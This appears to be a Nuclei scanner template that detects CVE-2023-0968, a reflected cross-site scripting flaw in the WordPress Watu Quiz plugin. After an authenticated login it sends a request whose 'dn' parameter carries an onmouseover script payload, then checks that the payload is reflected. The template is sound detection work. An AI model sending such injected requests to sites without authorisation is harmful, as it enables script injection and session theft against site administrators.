WordPress Watu Quiz <3.3.9.1 - Cross-Site Scripting

id: CVE-2023-0968

info:
  name: WordPress Watu Quiz <3.3.9.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress Watu Quiz plugin before 3.3.9.1 is susceptible to cross-site scripting. The plugin does not sanitize and escape some parameters, such as email, dn, date, and points, before outputting then back in a page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This exploit can be used against high-privilege users such as admin.
  impact: |
    Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing an attacker to execute malicious scripts on the victim's browser.
  remediation: Fixed in version 3.3.9.1.
  reference:
    - https://wpscan.com/vulnerability/29008d1a-62b3-4f40-b5a3-134455b01595
    - https://wordpress.org/plugins/watu/
    - https://plugins.trac.wordpress.org/browser/watu/trunk/views/takings.php#L31
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0968
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/6341bdcc-c99f-40c3-81c4-ad90ff19f802
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-0968
    cwe-id: CWE-79
    epss-score: 0.01252
    epss-percentile: 0.65833
    cpe: cpe:2.3:a:kibokolabs:watu_quiz:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: kibokolabs
    product: watu_quiz
    framework: wordpress
  tags: cve2023,cve,wordpress,wp,wp-plugin,xss,watu,authenticated,wpscan,kibokolabs,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=watu_takings&exam_id=1&dn="%2Fonmouseover%3Dalert(document.domain)%2F%2F HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "/onmouseover=alert(document.domain)//")'
          - 'contains(body_2, "Watu Quizzes")'
        condition: and
# digest: 4a0a0047304502206d0cdb802a94e9a1a0d97d2c9f9011afe47f469d1f788a58251e119e7ec1b1ed022100bc269d68b1005b344bb90b298e28e39f1e713801c0099f6aaeb335e46e20dd0d:922c64590222798bb761d5b6d8e72950